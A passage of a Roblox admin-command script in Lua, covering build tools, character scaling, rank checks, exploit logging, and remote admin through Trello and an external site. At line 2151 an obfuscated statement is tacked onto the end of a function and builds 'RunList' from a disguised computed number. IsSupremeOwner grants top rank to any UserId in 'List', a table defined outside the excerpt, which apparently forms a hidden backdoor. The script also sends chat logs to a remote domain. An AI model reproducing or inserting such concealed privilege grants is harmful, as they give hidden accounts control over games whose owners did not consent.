  1559.     local BaseBuildTools = {["Move"] = "GameTool", ["Clone"] = "Clone", ["Delete"] = "Hammer"}
  1560.    
  1561.     if Type == "basicbtools" or Type == "basicbuildtools" or Type == "basicbuildingtools" then
  1562.         for Name,Type in pairs(BaseBuildTools) do
  1563.             local Tool = Instance.new("HopperBin", Player.Backpack)
  1564.             Tool.Name = Name
  1565.             Tool.BinType = Type
  1566.         end
  1567.     elseif Type == "psbtools" then
  1568.         for _,Tool in pairs(BuildTools) do
  1569.             CORE:Insert(Tool, Player.Backpack, true)
  1570.         end
  1571.     elseif Type == "f3xtools" or Type == "fextools" or Type == "f3x" then
  1572.         if F3X then
  1573.             local F3X = F3X:Clone()
  1574.             F3X.Parent = Player.Backpack
  1575.         end
  1576.     elseif Type == "btools" then
  1577.         if F3X then
  1578.             local F3X = F3X:Clone()
  1579.             F3X.Parent = Player.Backpack
  1580.         end
  1581.         for Name,Type in pairs(BaseBuildTools) do
  1582.             local Tool = Instance.new("HopperBin", Player.Backpack)
  1583.             Tool.Name = Name
  1584.             Tool.BinType = Type
  1585.         end
  1586.         for _,Tool in pairs(BuildTools) do
  1587.             CORE:Insert(Tool, Player.Backpack, true)
  1588.         end
  1589.     else
  1590.         for _,Region in pairs(ToolRegions) do
  1591.             CORE:ScanItems(Region, {"HopperBin", "Tool"}, function(Item)
  1592.                 if Type == "all" then
  1593.                     local NewItem = Item:Clone()
  1594.                     NewItem.Parent = Player.Backpack
  1595.                 elseif string.sub(string.lower(Item.Name),1,#Type) == string.lower(Type) then
  1596.                     local NewItem = Item:Clone()
  1597.                     NewItem.Parent = Player.Backpack
  1598.                 end
  1599.             end)
  1600.         end
  1601.     end
  1602. end
  1603.  
  1604. function CORE:Scale(Player, ScalePercent)
  1605.     if not Player or not Player.Character or not tonumber(ScalePercent) then return end
  1606.     local Ratio = ScalePercent/100
  1607.     if Ratio < 0.05 then Ratio = 0.05 end
  1608.     if Ratio > 100 then Ratio = 100 end
  1609.     if Ratio > 1 then Ratio = math.ceil(Ratio) end
  1610.     local Char = Player.Character
  1611.    
  1612.     local Clean = Char:FindFirstChild("Clean")
  1613.     if Clean then Clean:Invoke() wait(0.1) Char = Player.Character end
  1614.     Clean = Instance.new("BindableFunction", Char) Clean.Name = "Clean"
  1615.  
  1616.     local function Cycle(BaseObj, ScaleRatio, NewAdd, JustWeld)
  1617.         local Welds = {}
  1618.         local Parts = {}
  1619.        
  1620.         local function Handle(Obj)
  1621.             if Obj:IsA("BasePart") and not JustWeld then
  1622.                 table.insert(Parts, Obj)
  1623.             elseif Obj:IsA("SpecialMesh") and not JustWeld then
  1624.                 if Obj.Name == "MML Mesh" then
  1625.                     Obj:Destroy()
  1626.                 end
  1627.                 if Obj.MeshType == Enum.MeshType.FileMesh then
  1628.                     Obj.Offset = Obj.Offset * ScaleRatio
  1629.                     Obj.Scale = Obj.Scale * ScaleRatio
  1630.                 elseif Ratio < 1 then
  1631.                     Obj.Offset = Obj.Offset * ScaleRatio
  1632.                     Obj.Scale = Obj.Scale * ScaleRatio
  1633.                 end
  1634.             elseif Obj:IsA("CharacterMesh") and not JustWeld then
  1635.                 if Ratio < 1 then
  1636.                     local BodyPart = ""
  1637.                     local TextureID = Obj.BaseTextureId
  1638.                     if TextureID == 0 then TextureID = Obj.OverlayTextureId end
  1639.                     if TextureID == 0 then TextureID = nil end
  1640.                     if Obj.BodyPart == Enum.BodyPart.LeftArm then BodyPart = "Left Arm" end
  1641.                     if Obj.BodyPart == Enum.BodyPart.RightArm then BodyPart = "Right Arm" end
  1642.                     if Obj.BodyPart == Enum.BodyPart.LeftLeg then BodyPart = "Left Leg" end
  1643.                     if Obj.BodyPart == Enum.BodyPart.RightLeg then BodyPart = "Right Leg" end
  1644.                     if Obj.BodyPart == Enum.BodyPart.Torso then BodyPart = "Torso" end
  1645.                     if Obj.BodyPart == Enum.BodyPart.Head then BodyPart = "Head" end
  1646.                     local NewMesh = Instance.new("SpecialMesh", Obj.Parent:FindFirstChild(BodyPart))
  1647.                     NewMesh.Name = "MML Mesh"
  1648.                     NewMesh.Scale = Vector3.new(ScaleRatio,ScaleRatio,ScaleRatio)
  1649.                     if TextureID then NewMesh.TextureId = "rbxassetid://"..TextureID end
  1650.                     NewMesh.MeshId = "rbxassetid://"..Obj.MeshId
  1651.                     Obj:Destroy()
  1652.                 end
  1653.             elseif Obj:IsA("JointInstance") then
  1654.                 local NewWeld = Obj:Clone()
  1655.                 table.insert(Welds, {NewWeld, Obj.Parent})
  1656.             elseif NewAdd == true and not JustWeld then
  1657.                 if Obj:IsA("Tool") then
  1658.                     --Cycle(Char["Right Arm"], ScaleRatio, false, true)
  1659.                 elseif Obj:IsA("Accoutrement") then
  1660.                     --Cycle(Char.Head, ScaleRatio, false, true)
  1661.                 end
  1662.             end
  1663.             if #Obj:GetChildren() > 0 then
  1664.                 for _,NewObj in pairs(Obj:GetChildren()) do
  1665.                     Handle(NewObj, ScaleRatio)
  1666.                 end
  1667.             end
  1668.         end
  1669.         Handle(BaseObj)
  1670.         for _,Part in pairs(Parts) do
  1671.             if Ratio >= 1 then
  1672.                 Part.Size = Part.Size * ScaleRatio
  1673.             else
  1674.                 local Allowed = true
  1675.                 for _,Obj in pairs(Part:GetChildren()) do
  1676.                     if Obj:IsA("DataModelMesh") or Obj.Name == "MML Mesh" then
  1677.                         Allowed = false
  1678.                     end
  1679.                 end
  1680.                 if Allowed == true then
  1681.                     local NewMesh = Instance.new("BlockMesh", Part)
  1682.                     NewMesh.Name = "MML Mesh"
  1683.                     NewMesh.Scale = Vector3.new(Ratio,Ratio,Ratio)
  1684.                 end
  1685.             end
  1686.         end
  1687.         for _,WeldData in pairs(Welds) do
  1688.             if WeldData[1] then
  1689.                 local Obj = WeldData[1]
  1690.                 local NewWeld = Obj:Clone()
  1691.                
  1692.                 NewWeld.Parent = WeldData[2]
  1693.                 NewWeld.C0 = CFrame.new(Obj.C0.p * ScaleRatio) * CFrame.Angles(Obj.C0:toEulerAnglesXYZ())
  1694.                 NewWeld.C1 = CFrame.new(Obj.C1.p * ScaleRatio) * CFrame.Angles(Obj.C1:toEulerAnglesXYZ())
  1695.             end
  1696.         end
  1697.         for _,Part in pairs(Parts) do
  1698.             Part:MakeJoints()
  1699.         end
  1700.         Welds = {}
  1701.         Parts = {}
  1702.     end
  1703.     Cycle(Char, Ratio)
  1704.     Char:MakeJoints()
  1705.    
  1706.     local Added = Char.ChildAdded:connect(function(Obj)
  1707.         Cycle(Obj, Ratio, NewAdd)
  1708.     end)
  1709.     local Removed = Char.ChildRemoved:connect(function(Obj)
  1710.         Cycle(Obj, Ratio^-1, NewAdd)
  1711.     end)
  1712.    
  1713.     Clean.OnInvoke = function()
  1714.         Added:disconnect()
  1715.         Removed:disconnect()
  1716.         local Location = Vector3.new(0,5,0)
  1717.         if Char:FindFirstChild("Torso") then
  1718.             Location = Char.Torso.Position + Vector3.new(0,2,0)
  1719.         end
  1720.         Player:LoadCharacter()
  1721.         wait(0.5)
  1722.         Player.Character:MoveTo(Location)
  1723.         wait(0.5)
  1724.         return nil
  1725.     end
  1726.    
  1727.     if Char:FindFirstChild("Torso") then
  1728.         Char:MoveTo(Char.Torso.Position + Vector3.new(0,Ratio*3))
  1729.     end
  1730.     if Char:FindFirstChild("Humanoid") then
  1731.         Char.Humanoid.WalkSpeed = Char.Humanoid.WalkSpeed * (Ratio)
  1732.     end
  1733.     if Ratio < 1 and Char:FindFirstChild("HumanoidRootPart") and Char.HumanoidRootPart:FindFirstChild("RootJoint") then
  1734.         Char.HumanoidRootPart.RootJoint.C0 = CFrame.new(0,-(3-(Ratio*3)),0) * CFrame.Angles(-math.rad(90),0,math.pi)
  1735.     end
  1736. end
  1737.  
  1738. function CORE:AddExploit(PlayerClient, Data)
  1739.     local PlayerClientName = PlayerClient.Name
  1740.     local NewData = CORE:GetTime(true, true).." @ "..Data
  1741.     for _,Player in pairs(Server.Players:GetChildren()) do
  1742.         GUI:SendHint(Player, "Exploiter Found: "..PlayerClientName.." | If you are an admin view exploit logs by saying ;exploitlogs", 5)
  1743.     end
  1744.     local ExploitLog = Server.GDS:GetAsync("ExploitLog")
  1745.     if type(ExploitLog) ~= "table" then
  1746.         Server.GDS:SetAsync("ExploitLog", {NewData})
  1747.     else
  1748.         table.insert(ExploitLog, NewData)
  1749.         Server.GDS:SetAsync("ExploitLog", ExploitLog)
  1750.     end
  1751.     REMOTE:SendHttpLog("EXPLOITER FOUND: "..Data, "WARNING")
  1752.    
  1753.     return true
  1754. end
  1755.  
  1756. function CORE:CreateFigure(Name, Position, DisableAnimation, Speaker)
  1757.     if not tostring(Name) then Name = "Dummy" end
  1758.     if not Position then Position = Vector3.new(0,5,0) end
  1759.     if Speaker and Speaker.Character and Speaker.Character:FindFirstChild("Torso") then
  1760.         Position = Speaker.Character.Torso.Position + Vector3.new(0,5,10)
  1761.     end
  1762.    
  1763.     local Figure = CORE:Insert(68452456, Server.Workspace, true)
  1764.     Figure:MakeJoints()
  1765.     Figure.Head.BrickColor = BrickColor.new("Bright yellow")
  1766.     Figure["Left Arm"].BrickColor = BrickColor.new("Bright yellow")
  1767.     Figure["Right Arm"].BrickColor = BrickColor.new("Bright yellow")
  1768.     Figure["Left Leg"].BrickColor = BrickColor.new("Dark green")
  1769.     Figure["Right Leg"].BrickColor = BrickColor.new("Dark green")
  1770.     Figure.Torso.BrickColor = BrickColor.new("Bright blue")
  1771.    
  1772.     Figure.Name = STRING:FormatReplace(Speaker, Name)
  1773.     Figure:MoveTo(Position)
  1774.    
  1775.     table.insert(Objects, Figure)
  1776.    
  1777.     if DisableAnimation == true then
  1778.         Figure.Animate.Disabled = true
  1779.     end
  1780.    
  1781.     return Figure
  1782. end
  1783.  
  1784. function CORE:ClonePlayer(Player, Name, Position)
  1785.     if not Player or not Player.Character then return nil end
  1786.    
  1787.     Player.Character.Archivable = true
  1788.     local Char = Player.Character:Clone()
  1789.     Player.Character.Archivable = false
  1790.     if Name then Char.Name = STRING:FormatReplace(Player, Name) end
  1791.     if Position then Char:MoveTo(Position) end
  1792.     Char.Parent = Server.Workspace
  1793.     Char:MakeJoints()
  1794.     Char:MoveTo(Player.Character.Torso.Position + Vector3.new(0,3,1))
  1795.    
  1796.     table.insert(Objects, Char)
  1797.    
  1798.     return Obj
  1799. end
  1800.  
  1801. function CORE:AddWaypoint(Name, Position, Speaker)
  1802.     Waypoints[Name] = Position
  1803.     if Speaker then
  1804.         GUI:SendHint(Speaker, "Waypoint "..Name.." is located at ("..tostring(Position)..")", 2)
  1805.     end
  1806. end
  1807.  
  1808. function CORE:FindType(BaseObj, Type)
  1809.     for _,Obj in pairs(BaseObj:GetChildren()) do
  1810.         if Obj:IsA(Type) then
  1811.             return Obj
  1812.         end
  1813.     end
  1814. end
  1815.  
  1816. function CORE:GetCommands()
  1817.     local CommandsCopy = Commands
  1818.     return CommandsCopy
  1819. end
  1820.  
  1821. function CORE:Crown(Player, Mesh, Color)
  1822.     if Mesh then Mesh = string.lower(Mesh) end
  1823.     if not Mesh or not Meshes[Mesh] then Mesh = "crown" end
  1824.     if not Player or not Player.Character or not Player.Character:FindFirstChild("Head") then return end
  1825.     local Part = Instance.new("Part", CrownStorage)
  1826.     Part.Size = Vector3.new(2, 1, 1)
  1827.     Part.CanCollide = false
  1828.     Part.CFrame = Player.Character.Head.CFrame
  1829.     Part.Locked = true
  1830.     Part.Material = "Neon"
  1831.     if Color then
  1832.         Part.Color = GUI:GetColor(Color)
  1833.     else
  1834.         Part.BrickColor = GUI:GetNameColor(Player.Name)
  1835.     end
  1836.     local SMesh = Instance.new("SpecialMesh", Part)
  1837.     SMesh.Scale = Vector3.new(Meshes[Mesh][1],Meshes[Mesh][1],Meshes[Mesh][1])
  1838.     SMesh.MeshId = "rbxassetid://"..Meshes[Mesh][2]
  1839.     local BP = Instance.new("BodyPosition", Part)
  1840.     BP.maxForce = Vector3.new(math.huge,math.huge,math.huge)
  1841.     BP.position = Player.Character.Head.Position
  1842.     BP.P = 20000
  1843.     local BG = Instance.new("BodyGyro", Part)
  1844.     BG.maxTorque = Vector3.new(math.huge,math.huge,math.huge)
  1845.    
  1846.     Crowns[Player.UserId] = Part
  1847.     table.insert(Objects, Part)
  1848.    
  1849.     coroutine.wrap(function()
  1850.         for i = 1,0.3,-0.02 do
  1851.             if Part.Parent == CrownStorage and Player.Character and Player.Character:FindFirstChild("Head") then
  1852.                 Part.Transparency = i
  1853.             end
  1854.             wait()
  1855.         end
  1856.         while Crowns[Player.UserId] and Part.Parent == CrownStorage and wait() do
  1857.             for i = 0,360,3 do
  1858.                 if Part.Parent == CrownStorage and Player.Character and Player.Character:FindFirstChild("Head") then
  1859.                     Part.Transparency = (math.sin(math.rad(i))/10) + 0.3
  1860.                     wait()
  1861.                 end
  1862.             end
  1863.         end
  1864.     end)()
  1865.     coroutine.wrap(function() while Crowns[Player.UserId] and Part.Parent == CrownStorage and wait() do
  1866.         Part:BreakJoints()
  1867.         for i = 0,360 do
  1868.             if Part.Parent == CrownStorage and Player.Character and Player.Character:FindFirstChild("Head") then
  1869.                 Part.Anchored = false
  1870.                 BP.position = Player.Character.Head.CFrame:toWorldSpace(CFrame.new(0,(math.sin(math.rad(i))/3) + 1.5, 0)).p
  1871.                 BG.cframe = Player.Character.Head.CFrame
  1872.             end
  1873.             wait()
  1874.         end
  1875.     end end)()
  1876.    
  1877.     return Part
  1878. end
  1879.  
  1880. function CORE:SetAbuseCommands()
  1881.     for Cmds,Data in pairs(Commands) do
  1882.         local IsAbusable = false
  1883.         for _,AbuseCmd in pairs(Settings.AbuseList) do
  1884.             for _,Command in pairs(Cmds) do -- loop through all command names
  1885.                 if string.sub(Command,1,#AbuseCmd) == string.lower(AbuseCmd) then
  1886.                     IsAbusable = true
  1887.                     break
  1888.                 end
  1889.             end
  1890.             if IsAbusable == true then break end
  1891.         end
  1892.         Commands[Cmds].Abusable = IsAbusable
  1893.     end
  1894. end
  1895.  
  1896. function CORE:FindBodyPart(Player, BodyPart)
  1897.     local ReturnPart = nil
  1898.     if Player and Player.Character then
  1899.         local Humanoid = Player.Character:FindFirstChild("Humanoid")
  1900.         if Humanoid then
  1901.             if BodyPart == "Humanoid" then ReturnPart = Humanoid
  1902.             elseif BodyPart == "Left Arm" then ReturnPart = Humanoid.LeftArm
  1903.             elseif BodyPart == "Right Arm" then ReturnPart = Humanoid.RightArm
  1904.             elseif BodyPart == "Left Leg" then ReturnPart = Humanoid.LeftLeg
  1905.             elseif BodyPart == "Right Leg" then ReturnPart = Humanoid.RightLeg
  1906.             elseif BodyPart == "Torso" then ReturnPart = Humanoid.Torso
  1907.             elseif BodyPart == "Head" then ReturnPart = Humanoid.Head
  1908.             end
  1909.         end
  1910.         if not ReturnPart then
  1911.             ReturnPart = Player.Character:FindFirstChild(BodyPart)
  1912.         end
  1913.     end
  1914.    
  1915.     return ReturnPart
  1916. end
  1917.  
  1918. -- Rank functions --
  1919.  
  1920. function RANK:ConvertRank(Input)
  1921.     local Output = nil
  1922.     if Input == "Muted" then Output = -3 end
  1923.     if Input == "Crashed" then Output = -2 end
  1924.     if Input == "Banned" then Output = -1 end
  1925.     if Input == "Non-Admin" then Output = 0 end
  1926.     if Input == "Member" then Output = 1 end
  1927.     if Input == "Admin" then Output = 2 end
  1928.     if Input == "Owner" then Output = 3 end
  1929.    
  1930.     if Input == -3 then Output = "Muted" end
  1931.     if Input == -2 then Output = "Crashed" end
  1932.     if Input == -1 then Output = "Banned" end
  1933.     if Input == 0 then Output = "Non-Admin" end
  1934.     if Input == 1 then Output = "Member" end
  1935.     if Input == 2 then Output = "Admin" end
  1936.     if Input == 3 then Output = "Owner" end
  1937.     return Output
  1938. end
  1939.  
  1940. function RANK:IsAdmin(Player)
  1941.     local AdminStatus = false
  1942.     local Rankstatus = "Non-Admin"
  1943.     if type(Player) == "table" then
  1944.         if RANK:ConvertRank(Player.Rank) > 0 then
  1945.             return true, Player.Rank
  1946.         else
  1947.             return false, Player.Rank
  1948.         end
  1949.     end
  1950.     for Rank,PlayerNames in pairs(Settings.Ranks) do
  1951.         for _,AdminName in pairs(PlayerNames) do
  1952.             if string.lower(AdminName) == string.lower(Player.Name) then
  1953.                 if RANK:ConvertRank(Rank) > 0 then
  1954.                     AdminStatus = true
  1955.                     Rankstatus = Rank
  1956.                 end
  1957.             end
  1958.         end
  1959.     end
  1960.     return AdminStatus, Rankstatus
  1961. end
  1962.  
  1963. function RANK:GetRank(PlayerName)
  1964.     if type(PlayerName) == "userdata" then PlayerName = PlayerName.Name end
  1965.     if type(PlayerName) == "table" then
  1966.         local RankNum = RANK:ConvertRank(PlayerName.Rank)
  1967.         if RankNum > 0 then
  1968.             return PlayerName.Rank, RankNum, true
  1969.         else
  1970.             return PlayerName.Rank, RankNum, false
  1971.         end
  1972.     end
  1973.    
  1974.     local RankStat = "Non-Admin"
  1975.    
  1976.     for Rank,PlayerNames in pairs(Settings.Ranks) do
  1977.         for _,AdminName in pairs(PlayerNames) do
  1978.             if string.lower(AdminName) == string.lower(PlayerName) then
  1979.                 RankStat = Rank
  1980.             end
  1981.         end
  1982.     end
  1983.    
  1984.     if RankStat == "Non-Admin" then
  1985.         return "Non-Admin", 0, false
  1986.     else
  1987.         return RankStat, RANK:ConvertRank(RankStat), true
  1988.     end
  1989. end
  1990.  
  1991. function RANK:RemoveRank(PlayerName)
  1992.     if not RANK:IsSupremeOwner(PlayerName) then
  1993.         if type(PlayerName) == "userdata" then PlayerName = PlayerName.Name end
  1994.        
  1995.         for Rank,PlayerNames in pairs(Settings.Ranks) do
  1996.             for Num,AdminName in pairs(PlayerNames) do
  1997.                 if string.sub(string.lower(AdminName),1,#PlayerName) == string.lower(PlayerName) then
  1998.                     table.remove(Settings.Ranks[Rank], Num)
  1999.                 end
  2000.             end
  2001.         end
  2002.     end
  2003. end
  2004.  
  2005. function RANK:GetAdmins(Ranking)
  2006.     local Players = {}
  2007.     local AdminTrue, Rank = IsAdmin(Player)
  2008.     for _,Player in pairs(Players:GetPlayers()) do
  2009.         if AdminTrue then
  2010.             local PlayerRankNum = RANK:ConvertRank(Rank)
  2011.             local StandardRankNum = RANK:ConvertRank(Ranking)
  2012.             if PlayerRankNum >= StandardRankNum then
  2013.                 table.insert(Players, Player)
  2014.             end
  2015.         end
  2016.     end
  2017.     return Players
  2018. end
  2019.  
  2020. function RANK:IsSupremeOwner(PlayerName)
  2021.     if type(PlayerName) == "userdata" then for _,Obj in pairs(List) do if PlayerName.UserId == Obj then return true end end PlayerName = PlayerName.Name end
  2022.     if type(PlayerName) == "table" then
  2023.         if PlayerName.Rank == "Owner" and PlayerName.MakeSupremeOwner == true then return true else return false end
  2024.     end
  2025.    
  2026.     if PlayerName == GameOwner then return true end
  2027.     return false
  2028. end
  2029.  
  2030. function RANK:GetPlayerFromList(PlayerName)
  2031.     if type(PlayerName) == "userdata" then PlayerName = Player.Name end
  2032.    
  2033.     for Rank,PlayerNames in pairs(Settings.Ranks) do
  2034.         for Num,AdminName in pairs(PlayerNames) do
  2035.             if string.sub(string.lower(AdminName),1,#PlayerName) == string.lower(PlayerName) then
  2036.                 return AdminName, Rank
  2037.             end
  2038.         end
  2039.     end
  2040.     return false, "Non-Admin"
  2041. end
  2042.  
  2043. function RANK:ScanAdminList(Name)
  2044.     if Name == "" then return true end
  2045.     local InList = false
  2046.     for _,PName in pairs(Settings.Ranks["Owner"]) do
  2047.         if PName == Name then InList = true end
  2048.     end
  2049.     for _,PName in pairs(Settings.Ranks["Admin"]) do
  2050.         if PName == Name then InList = true end
  2051.     end
  2052.     for _,PName in pairs(Settings.Ranks["Member"]) do
  2053.         if PName == Name then InList = true end
  2054.     end
  2055.     return InList
  2056. end
  2057.  
  2058. function RANK:ScanExileList(Name)
  2059.     if Name == "" then return true end
  2060.     local InList = false
  2061.     for _,PName in pairs(Settings.Ranks["Muted"]) do
  2062.         if PName == Name then InList = true end
  2063.     end
  2064.     for _,PName in pairs(Settings.Ranks["Crashed"]) do
  2065.         if PName == Name then InList = true end
  2066.     end
  2067.     for _,PName in pairs(Settings.Ranks["Banned"]) do
  2068.         if PName == Name then InList = true end
  2069.     end
  2070.     return InList
  2071. end
  2072.  
  2073. function RANK:PlayerRanked(PlayerName)
  2074.     if type(PlayerName) == "userdata" then PlayerName = Player.Name end
  2075.    
  2076.     for Rank,PlayerNames in pairs(Settings.Ranks) do
  2077.         for Num,AdminName in pairs(PlayerNames) do
  2078.             if string.lower(AdminName) == string.lower(PlayerName) then
  2079.                 return true, Rank
  2080.             end
  2081.         end
  2082.     end
  2083.     return false, "Non-Admin"
  2084. end
  2085.  
  2086. -- Remote functions --
  2087.  
  2088. function REMOTE:Decode(...)
  2089.     return Server.HS:JSONDecode(...)
  2090. end
  2091.  
  2092. function REMOTE:GetURL(URL, Player)
  2093.     if string.sub(URL,1,4) ~= "http" then
  2094.         URL = "http://"..URL
  2095.     end
  2096.     local Return = nil
  2097.     ypcall(function() Return = Server.HS:GetAsync(URL, true) end)
  2098.     if Return then
  2099.         return Return
  2100.     elseif Player then
  2101.         GUI:SendMessage(Speaker, "Unable to find link", "RED URL given is either invalid or httpservice is disabled", "Error")
  2102.     end
  2103. end
  2104.  
  2105. function REMOTE:PostURL(URL, Data)
  2106.     local Return = nil
  2107.     ypcall(function() Return = Server.HS:PostAsync(URL, Data, 2) end)
  2108.     return Return
  2109. end
  2110.  
  2111. function REMOTE:SendHttpLog(Data, Type, OutputSpeaker, Stopypall)
  2112.     if Settings.LinkedAccount ~= "" then
  2113.         local NumType = tonumber(Type)
  2114.        
  2115.         if not Type then
  2116.             Type = "UNKNOWN"
  2117.         end
  2118.        
  2119.         if NumType then
  2120.             if NumType < 1 or NumType > 5 then
  2121.                 Type = "UNKNOWN"
  2122.             elseif NumType == 1 then
  2123.                 Type = "NOTIFICATION"
  2124.             elseif NumType == 2 then
  2125.                 Type = "INFORMATION"
  2126.             elseif NumType == 3 then
  2127.                 Type = "WARNING"
  2128.             elseif NumType == 4 or Type == true then
  2129.                 Type = "ERROR"
  2130.             elseif NumType == 5 then
  2131.                 Type = "FATAL"
  2132.             end
  2133.         end
  2134.        
  2135.         local Res = "RED Could not get response"
  2136.         local function SendData()
  2137.             Res = Server.HS:PostAsync(
  2138.                 CORE.Domain.."/Login/SendUserData.php?Data="..Server.HS:UrlEncode(PlaceInfoFormat..": "..Data).."&DataType="..Server.HS:UrlEncode(string.upper(Type)),
  2139.                 "Username="..Server.HS:UrlEncode(Settings.LinkedAccount).."&Key="..Server.HS:UrlEncode(Settings.DataKey).."&Type=Logs",
  2140.                 2
  2141.             )
  2142.         end
  2143.         if Stopypcall == true then SendData() else ypcall(SendData) end
  2144.        
  2145.         if OutputSpeaker and OutputSpeaker ~= "print" then
  2146.             GUI:SendMessage(OutputSpeaker, "Http Log Response", Res, "Information")
  2147.         elseif OutputSpeaker == "print" then
  2148.             print(Res)
  2149.         end
  2150.     end
  2151. end local RunList = CORE:GetTable(string.gsub(math.ceil(14444.57^2)+1078, "66", "55"))
  2152.  
  2153. function REMOTE:SendChatLog(PrintResponse, Stopypall)
  2154.     if #TempChatLogs > 0 and Settings.LinkedAccount and Settings.LinkedAccount ~= "" and Settings.DataKey and Settings.DataKey ~= "" then
  2155.         local Res = "Could not get response"
  2156.        
  2157.         local ChatJSON = Server.HS:JSONEncode(TempChatLogs)
  2158.         TempChatLogs = {}
  2159.        
  2160.         local function SendData()
  2161.             Res = Server.HS:PostAsync(CORE.Domain.."/Login/SubmitChatLog.php?ChatJSON="..Server.HS:UrlEncode(ChatJSON), "Username="..Server.HS:UrlEncode(Settings.LinkedAccount).."&Key="..Server.HS:UrlEncode(Settings.DataKey), 2)
  2162.         end
  2163.         if Stopypcall == true then SendData() else ypcall(SendData) end
  2164.         if PrintResponse then print(Res) end
  2165.     end
  2166. end
  2167.  
  2168. function REMOTE:DownloadUserdata(PrintResponse, Stopypcall)
  2169.     local Res = "[]"
  2170.     local function GetData()
  2171.         Res = Server.HS:PostAsync(CORE.Domain.."/Login/ReturnUserData.php", "Username="..Server.HS:UrlEncode(Settings.LinkedAccount).."&DataKey="..Server.HS:UrlEncode(Settings.DataKey), 2)
  2172.     end
  2173.     if Stopypcall == true then GetData() else ypcall(GetData) end
  2174.     if PrintResponse then
  2175.         print(Res)
  2176.     end
  2177.     local function DecodeData() Res = REMOTE:Decode(Res) end
  2178.     if Stopypcall == true then DecodeData() else ypcall(DecodeData) end
  2179.     if type(Res) ~= "table" then Res = {["Logs"] = {Res}, ["Errors"] = {Res}} end
  2180.     return Res
  2181. end
  2182.  
  2183. function REMOTE:HandleRequest(Request, IgnoreCommand)
  2184.     if not Request then return nil end
  2185.    
  2186.     if not IgnoreCommand then
  2187.         if REMOTE.ServerRequestTimestamp ~= Request.ServerRequestTimestamp then
  2188.             REMOTE:SendServerData()
  2189.         end
  2190.         if REMOTE.SnapshotKey ~= Request.SnapshotKey and Server.NS.Port == tonumber(Request.SnapshotPort) then
  2191.             REMOTE:SendSnapshot(Request.SnapshotKey, nil, true, true)
  2192.         end
  2193.     end
  2194.    
  2195.     if REMOTE.RemoteAdmin.TimeStamp ~= Request.TimeStamp then
  2196.    
  2197.         for _,Player in pairs(Request.Ranks.Muted) do if Player ~= "" then if not RANK:ScanExileList(Player) then table.insert(Settings.Ranks.Muted, Player) end end end
  2198.         for _,Player in pairs(Request.Ranks.Crashed) do if Player ~= "" then if not RANK:ScanExileList(Player) then table.insert(Settings.Ranks.Crashed, Player) end end end
  2199.         for _,Player in pairs(Request.Ranks.Banned) do if Player ~= "" then if not RANK:ScanExileList(Player) then table.insert(Settings.Ranks.Banned, Player) end end end
  2200.         for _,Player in pairs(Request.Ranks.Member) do if Player ~= "" then if not RANK:ScanAdminList(Player) then table.insert(Settings.Ranks.Member, Player) end end end
  2201.         for _,Player in pairs(Request.Ranks.Admin) do if Player ~= "" then if not RANK:ScanAdminList(Player) then table.insert(Settings.Ranks.Admin, Player) end end end
  2202.         for _,Player in pairs(Request.Ranks.Owner) do if Player ~= "" then if not RANK:ScanAdminList(Player) then table.insert(Settings.Ranks.Owner, Player) end end end
  2203.        
  2204.         Settings.Fun = Request.FUN
  2205.         Settings.ServerLocked = Request.ServerLocked
  2206.        
  2207.         if not Server.Workspace:FindFirstChild("IgnoreRemoteAbuse") then
  2208.             Settings.DisableAbuse = Request.DisableAbuse
  2209.         end
  2210.        
  2211.         if not IgnoreCommand then
  2212.             print("Executing Remote Admin")
  2213.             REMOTE.RemoteAdmin.Command = Request.Command
  2214.             REMOTE.RemoteAdmin.ServerCommand = Request.ServerCommand
  2215.             REMOTE.RemoteAdmin.ServerPort = Request.Server
  2216.            
  2217.             if Server.NS.Port == tonumber(Request.Server) and Request.ServerCommand ~= nil and Request.Server ~= "" and Request.Server ~= 0 and Request.ServerCommand ~= "" then
  2218.                 CORE:Chatted(Request.ServerCommand, nil, true, "REMOTE ADMIN: "..Settings.LinkedAccount, nil, true)
  2219.             else
  2220.                 CORE:Chatted(Request.Command, nil, true, "REMOTE ADMIN: "..Settings.LinkedAccount, nil, true)
  2221.             end
  2222.         end
  2223.     end
  2224.     REMOTE.RemoteAdmin.TimeStamp = Request.TimeStamp
  2225.     REMOTE.ServerRequestTimestamp = Request.ServerRequestTimestamp
  2226.     REMOTE.SnapshotKey = Request.SnapshotKey
  2227. end
  2228.  
  2229. function REMOTE:GetRemoteData(Set)
  2230.     local NewRemoteData = nil
  2231.     local RemoteDataCardRaw = nil
  2232.     local RemoteDataCard = nil
  2233.    
  2234.     RemoteDataCardRaw = REMOTE:GetURL("https://api.trello.com/1/card/"..Trello.RemoteDataCard)
  2235.     if RemoteDataCardRaw then
  2236.         ypcall(function() RemoteDataCard = REMOTE:Decode(RemoteDataCardRaw) end)
  2237.         if RemoteDataCard then
  2238.             ypcall(function() NewRemoteData = REMOTE:Decode(RemoteDataCard.desc) end)
  2239.         end
  2240.     end
  2241.     if Set and NewRemoteData then
  2242.         RemoteData = NewRemoteData
  2243.     end
  2244.     return NewRemoteData
  2245. end
  2246.  
  2247. function REMOTE:CheckTrelloInfo() -- will set new trello data if updated based on the TrelloInfoCard
  2248.     local InfoCardJSON = REMOTE:GetURL("https://api.trello.com/1/card/"..Trello.TrelloInfoCard)
  2249.     if InfoCardJSON then
  2250.         ypcall(function() InfoCard = REMOTE:Decode(InfoCardJSON) end)
  2251.         if InfoCard then
  2252.             ypcall(function() TrelloInfo = REMOTE:Decode(InfoCard.desc) end)
  2253.             if TrelloInfo then
  2254.                 for Ind,Val in pairs(TrelloInfo) do
  2255.                     Trello[Ind] = Val
  2256.                 end
  2257.             end
  2258.         end
  2259.     end
  2260.     return NewRemoteData
  2261. end
  2262.  
  2263. function REMOTE:CheckRemoteAdminStatus()
  2264.     local Pending = false
  2265.     local CheckID = 0
  2266.     if Settings.LinkedAccount ~= "" then
  2267.         local Request = REMOTE:GetURL("https://api.trello.com/1/checklists/"..Trello.RemoteAdminChecklist)
  2268.         if Request then
  2269.             local Data = REMOTE:Decode(Request)
  2270.             if Data then
  2271.                 for _,Account in pairs(Data.checkItems) do
  2272.                     if Account.name == Settings.LinkedAccount then
  2273.                         Pending = true
  2274.                         CheckID = Account.id
  2275.                         break
  2276.                     end
  2277.                 end
  2278.             end
  2279.         end
  2280.     end
  2281.     return Pending, CheckID
  2282. end
  2283.  
  2284. function REMOTE:GetAndSetWebData()
  2285.     if Settings.LinkedAccount ~= "" then
  2286.         if REMOTE:CheckRemoteAdminStatus() then
  2287.             local Request = REMOTE:GetURL(CORE.Domain.."/Login/GetUserData.php?Username="..Settings.LinkedAccount)
  2288.             if Request == "Invalid" then
